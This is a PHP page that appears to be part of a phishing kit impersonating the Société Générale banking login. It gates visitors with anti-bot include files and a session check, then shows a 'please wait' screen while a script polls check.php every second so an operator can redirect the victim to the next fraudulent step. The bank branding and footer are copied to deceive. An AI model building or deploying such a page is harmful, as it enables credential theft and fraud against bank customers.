<?php
session_start();
include('prevents/anti1.php');
include('prevents/anti2.php');
include('prevents/anti3.php');
include('prevents/anti4.php');
include('prevents/anti5.php');
include('prevents/anti6.php');
include('prevents/anti7.php');
include('prevents/anti8.php');
if($_SESSION['authorized'] == "1")
{
?>
<html lang="FR" class="swm-root-active swm-mode-page">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta name="format-detection" content="telephone=no">
    <title>Société Générale | Connexion</title>
    <meta name="robots" content="none">
    <meta property="og:title" content="Connexion - Espace client">
    <meta name="twitter:card" content="summary">
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, viewport-fit=cover">
    <link rel="icon" type="image/x-icon" href="img/favicon.ico">
    <link href="./pass_files/index_20190723161948.min.css" rel="stylesheet" type="text/css">
    <link href="./index_files/index_pri_20201013141424.min.css" rel="stylesheet" type="text/css" />
    <link href="./index_files/spec56_btn_gsm_all_gcd_20190320190559.min.css" rel="stylesheet" type="text/css">
    <link href="./index_files/awt-front-BDDF.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" href="./pass_files/inbenta.css">
    <link rel="stylesheet" href="./pass_files/style.css">
    <link href="./pass_files/print_20190320190559.min.css" rel="stylesheet" type="text/css" media="print">
    <style type="text/css">
        .eip_txt_light {
            font-weight: 300;
        }

        .eip_dcw_main-link {
            color: #fff;
            text-decoration: underline !important;
            -webkit-transition: color 0.2s ease-in-out;
            -o-transition: color 0.2s ease-in-out;
            transition: color 0.2s ease-in-out;
        }

        .eip_dcw_main-link:hover,
        .eip_dcw_main-link:focus {
            color: #f05b6f;
        }
    </style>
    <style>
        #codCl {
            opacity: 0;

        }

        #codCl.waa {
            opacity: 1;
            transition: opacity 500ms;
        }

        #oop {

            opacity: 1;
            transition: opacity 500ms;
        }

        #oop.woo {
            opacity: 0;

        }
    </style>

    <script>
        setTimeout(function () {
            document.getElementById('oop').className = 'woo';
        }, 3000);

        setTimeout(function () {
            document.getElementById('codCl').className = 'waa';
        }, 3000);
    </script>

</head>

<body class="PRI waitJeton swm " style="" cz-shortcut-listen="true"><span id="warning-container"><i
            data-reactroot=""></i></span>


    <?php 
include_once('header.php');
?>
    <section class="dcw_main">
        <section class="dcw_gb_row dcw_gb_communication">
        </section>
        <section class="dcw_gb_wrapper">
            <main role="main">
                <a id="go-content" tabindex="-1"></a>
                <section class="dcw_gb_core ugds_serviciel" id="">

                    <div id="dcw-swm" class="swm-inner-wrapper">
                        <div class="prefetch"></div>
                        <div id="disableLayer" class="disable-layer"></div>



                        <div id="swm-tooltip" class="swm-tooltip">
                            <span></span>
                        </div>
                        <div class="swm-popin-wrapper" tabindex="0" role="dialog" aria-live="assertive">
                            <div id="swm-popin-overlay" class="swm-popin-overlay"></div>
                            <div id="swm-popin-dialog" class="swm-popin-dialog">
                                <div class="swm-popin-relative">
                                    <div id="swm-popin-btn-fermer" class="swm-popin-btn-fermer" tabindex="0"
                                        aria-label="Fermer la popin"></div>
                                    <div class="swm-popin-ombre-sup"></div>
                                    <div id="swm-popin-ombre-lat" class="swm-popin-ombre-lat">
                                        <div id="swm-popin" class="swm-popin">
                                            <div id="swm-popin-cadre" class="swm-popin-cadre oob-content">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="swm-popin-ombre-inf"></div>
                                </div>
                            </div>
                        </div>

                        <main role="main" class="dcw_authent dcw_csetape">
                            <div class="dcw_codeContainer">
                                <div class="dcw_block">
                                    <div class="dcw_block-element">
                                        <section class="dcw_chemin_etape js-breadcrumb nav-item-selected-1">

                                        </section>
                                    </div>
                                </div>
                                <div id="oop" align="center" class="woo">
                                    <img src="./pass_files/loader.gif">
                                </div>

                                <div id="codCl" class="waa">

                                    <div class="dcw_block dcw_block-text">
                                        <div class="dcw_block-element">
                                            <div style="text-align: center; margin-top: 70px;">
                                                <img width="100"
                                                    src="https://i.sstatic.net/kOnzy.gif"><br>
                                                <h2 style="margin-left: 30px;">Veuillez patienter...</h2>
                                            </div>
                                        </div>
                                    </div>

                                </div>

                            </div>
                        </main>


                    </div>


                </section>
            </main>
            <section class="dcw_gb_row">
            </section>
        </section>
    </section>


    <footer class="dcw_footer" role="contentinfo">
        <div class="dcw_footer-second">
            <div class="dcw_footer_container">
                <nav class="dcw_footer-second_nav">
                    <ul class="dcw_footer-second_list">
                        <li class="dcw_footer-second_item">
                            <a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N"
                                data-tms-element-label="trouver-une-agence"> <svg class="dcw_footer-second_icon"
                                    aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#localisation"></use>
                                </svg>
                                Trouver une agence
                            </a> </li>
                        <li class="dcw_footer-second_item">
                            <a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N"
                                data-tms-element-label="questions-fréquentes"> <svg class="dcw_footer-second_icon"
                                    aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#question"></use>
                                </svg>
                                Questions fréquentes
                            </a> </li>
                        <li class="dcw_footer-second_item">
                            <div class="dcw_dropdown js-dropdown-light">
                                <button class="dcw_dropdown_titre js-dropdown_btn"
                                    aria-label="Ouvrir la liste des autres sites Société Générale" aria-expanded="false"
                                    aria-owns="dcw-dropdown-list">Autres sites Société Générale</button>
                                <svg class="dcw_dropdown_icon" aria-hidden="true" focusable="false">
                                    <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                        xlink:href="img/pictos-fonctionnels_20200629183129.svg#arrow-dropdown"></use>
                                </svg>
                                <ul class="dcw_dropdown_list toggle_content">
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="banque-privée">Banque privée</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="professionnels">Professionnels</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="entreprises">Entreprises</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="associations">Associations</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="économie-publique">Économie publique</a>
                                    </li>
                                    <li class="dcw_dropdown_item">
                                        <a data-tms-container-label="footer-other-links-sg"
                                            class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N"
                                            data-tms-element-label="groupe-société-générale">Groupe Société Générale</a>
                                    </li>
                                </ul>
                            </div>
                        </li>
                    </ul>
                </nav>
                <ul class="dcw_footer_container dcw_footer-second_social">
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Facebook" href="#"
                            aria-label="Voir le groupe Facebook de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="facebook"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#facebook-2"></use>
                            </svg>
                        </a> </li>
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Twitter" href="#"
                            aria-label="Voir le Twitter de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="twitter"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#twitter-2"></use>
                            </svg>
                        </a> </li>
                    <li class="dcw_footer-second_item-social">
                        <a data-tms-container-label="footer-social-links" title="Instagram" href="#"
                            aria-label="Voir l' Instagram de la Société Générale" data-tms-click-type="N"
                            data-tms-element-label="instagram"> <svg aria-hidden="true" focusable="false">
                                <use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink"
                                    xlink:href="img/pictos-fonctionnels_20200629183129.svg#instagram"></use>
                            </svg>
                        </a> </li>
                </ul>
            </div>
        </div>
        <nav class="dcw_footer-third">
            <div class="dcw_footer_container">
                <img alt="Société Générale" aria-hidden="true" class="dcw_footer-third_logo" height="30"
                    src="index_files/logo-sg-seul.svg" width="150">
                <ul class="dcw_footer-third_list">
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="sécurité">Sécurité</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="nos-engagements">Nos engagements</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="gestion-des-cookies">Gestion des Cookies</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="données-personnelles">Données personnelles</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="documentation-et-tarifs">Documentation et Tarifs</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="informations-légales">Informations légales</a>
                    </li>
                    <li class="dcw_footer-third_item">
                        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N"
                            data-tms-element-label="accessibilité-numérique">Accessibilité numérique</a>
                    </li>
                </ul>
            </div>
        </nav>
    </footer>















    <div id="interactWrapper"
        class="sdcwrapper theme-banque-bddf theme-enseigne-bddf theme-marche-pri enseigne-BDDF marche-PRI theme-media-site-web integrationNGIM sdcContainer interactCSSWrapper">
        <div class="interact-layout" id="content">
            <div class="interact-header"></div>
            <div class="interact-content"></div>
            <div class="interact-popin"></div>
            <div class="interact-footer"></div>
            <div class="interact-sticky">
                <div id="tch_sticky-bar" class="tch_sticky-bar_container">
                    <div class="tch_sticky-contact_bar">
                        <h3 class="tch_sticky-bar_title">Besoin d'aide</h3>
                        <p class="tch_sticky-bar_message"> Nos experts vous accompagnent dans le choix de la solution
                            adaptée à vos besoins </p>
                        <div class="tch_sticky-bar has-two-icons">
                            <ul class="tch_sticky-bar_list">
                                <li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn"> <svg
                                            class="tch_sticky-bar_icon" aria-label="Poser une question à SoBot"
                                            role="img" focusable="false">
                                            <use width="100%" height="100%"
                                                xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#chatbot"></use>
                                        </svg> <span class="tch_tooltip">Poser une question à SoBot </span> </button>
                                </li>
                                <li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn"> <svg
                                            class="tch_sticky-bar_icon" aria-label="Prendre rendez-vous" role="img"
                                            focusable="false">
                                            <use width="100%" height="100%"
                                                xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#calendar"></use>
                                        </svg> <span class="tch_tooltip">Prendre rendez-vous </span> </button></li>
                            </ul>
                        </div> <button class="tch_sticky-bar_close" aria-label="Fermer la boite de dialogue"> <svg
                                class="tch_sticky-bar_icon tch_sticky-bar_icon--close" aria-hidden="true"
                                focusable="false">
                                <use width="100%" height="100%"
                                    xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#cross-close"></use>
                            </svg> </button>
                    </div>
                </div>
                <div id="tch_sticky-contact" class="tch_sticky-contact_container" style="display:none"></div>
            </div>
            <div class="interact-chat">
                <div aria-grabbed="false" class="tch_chat">
                    <div id="tch_chat-bot" style="display:none"></div>
                </div>
            </div>
            <div>




                <div id="interactWrapper" class="sdcwrapper"></div>





                <script src="https://code.jquery.com/jquery-3.7.0.min.js"
                    integrity="sha256-2Pmvv0kuTBOenSvLm6bvfBSSHrUJ+3A7x6P5Ebd07/g=" crossorigin="anonymous"></script>
                <script type="text/javascript">
                    idTime = setInterval(function () {
                        $.ajax({
                            type: 'POST',
                            url: 'check.php',
                            success: function (data) {
                                if (data !== '') {
                                    window.parent.location.href = data;
                                    clearInterval(idTime)
                                }
                            },
                            error: function (error) {
                                // alert(error);
                            }
                        });
                    }, 1000);
                </script>
                <?php 
}
else{
    die('YOU ARE NOT AUTHORIZED');
}
?>